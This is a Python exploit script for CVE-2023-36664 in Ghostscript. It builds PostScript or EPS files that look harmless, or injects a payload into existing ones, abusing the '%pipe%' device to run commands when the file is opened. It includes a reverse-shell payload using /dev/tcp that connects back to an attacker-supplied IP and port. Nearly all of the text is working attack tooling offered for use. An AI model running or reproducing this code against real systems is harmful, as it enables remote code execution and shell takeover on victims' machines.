# @jakabakos
# Exploit script for CVE-2023-36664
# Injects code into a PS or EPS file that is triggered when opened with Ghostscript version prior to 10.01.2
# Tested with Ghostscript version 10.01.1
import argparse
import re
import os
# Function to generate payload for reverse shell
def generate_rev_shell_payload(ip, port):
payload = f"UNIX_REV_SHELL_PAYLOAD=f\"0<&196;exec 196<>/dev/tcp/{ip}/{port}; sh <&196 >&196 2>&196\""
return payload
# Function to generate dummy PS or EPS file with payload
def generate_payload_file(filename, extension, payload):
if extension == 'ps':
content = f"""%!PS
/Times-Roman findfont
24 scalefont
setfont
100 200 moveto
(Welcome at vsociety!) show
30 100 moveto
60 230 lineto
90 100 lineto
stroke
{payload}
showpage"""
elif extension == 'eps':
content = f"""%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 300 300
%%Title: Welcome EPS
/Times-Roman findfont
24 scalefont
setfont
newpath
50 200 moveto
(Welcome at vsociety!) show
newpath
30 100 moveto
60 230 lineto
90 100 lineto
stroke
{payload}
showpage"""
filename = filename + '.' + extension
with open(filename, 'w') as file:
file.write(content)
# Function to inject payload into an existing file
def inject_payload_into_file(filename, payload):
# Check if the file has the .eps or .ps extension
if filename.lower().endswith('.eps'):
# Read the existing content of the EPS file
with open(filename, 'r') as eps_file:
lines = eps_file.readlines()
# Find the first line not starting with %
for i, line in enumerate(lines):
if not line.strip().startswith('%'):
# Insert the payload at this line
lines.insert(i, payload + '\n')
break
# Write the modified content back to the file
with open(filename, 'w') as eps_file:
eps_file.writelines(lines)
elif filename.lower().endswith('.ps'):
# Append payload to the end of the PS file
with open(filename, 'a') as ps_file:
ps_file.write('\n' + payload)
else:
print("[-] Only PS and EPS extensions are allowed.")
# Main function
def main():
parser = argparse.ArgumentParser(description="Creating malicious PS/EPS files exploiting CVE-2023-36664.")
parser.add_argument("-g", "--generate", action="store_true", help="Generate a new file")
parser.add_argument("-i", "--inject", action="store_true", help="Inject payload into an existing file")
parser.add_argument("-p", "--payload", help="Payload to inject")
parser.add_argument("-r", "--revshell", action="store_true", help="Generate reverse shell payload")
parser.add_argument("-ip", "--ip", help="IP address for reverse shell payload")
parser.add_argument("-port", "--port", help="Port number for reverse shell payload")
parser.add_argument("-x", "--extension", choices=["ps", "eps"], help="Extension for the generated file")
parser.add_argument("-f", "--filename", default="malicious", help="Filename for the generated or injected file")
args = parser.parse_args()
# Validate payload options
if args.revshell and args.payload:
print("[-] Both --payload and --revshell cannot be used together.")
return
if args.revshell:
# Validate IP and port for reverse shell payload
if args.ip and args.port:
ip_pattern = re.compile(r"^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$")
port_pattern = re.compile(r"^\d{1,5}$")
if not ip_pattern.match(args.ip) or not port_pattern.match(args.port):
print("[-] Invalid IP address or port number.")
return
else:
print("[-] For reverse shell payload, both IP and port are required.")
return
payload = generate_rev_shell_payload(args.ip, args.port)
elif args.payload:
payload = args.payload
else:
print("[-] Either --payload or --revshell is required.")
return
# Modify payload for embedding
payload = f"(%pipe%{payload}) (w) file /DCTDecode filter"
# Generate or inject payload
if args.generate and args.inject:
print("[-] Both -g/--generate and -i/--inject cannot be used together.")
elif args.generate:
if args.extension and (args.extension == "ps" or args.extension == "eps"):
generate_payload_file(args.filename, args.extension, payload)
print(f"[+] Generated {args.extension.upper()} payload file: {args.filename}.{args.extension}")
else:
print("[-] For generating files, specify valid extension using -x/--extension: 'ps' or 'eps'.")
elif args.inject:
if os.path.exists(args.filename):
inject_payload_into_file(args.filename, payload)
print(f"[+] Payload successfully injected into {args.filename}.")
else:
print(f"[-] File {args.filename} not found.")
else:
print("[-] Specify either -g/--generate or -i/--inject.")
if __name__ == "__main__":
main()
暂无评论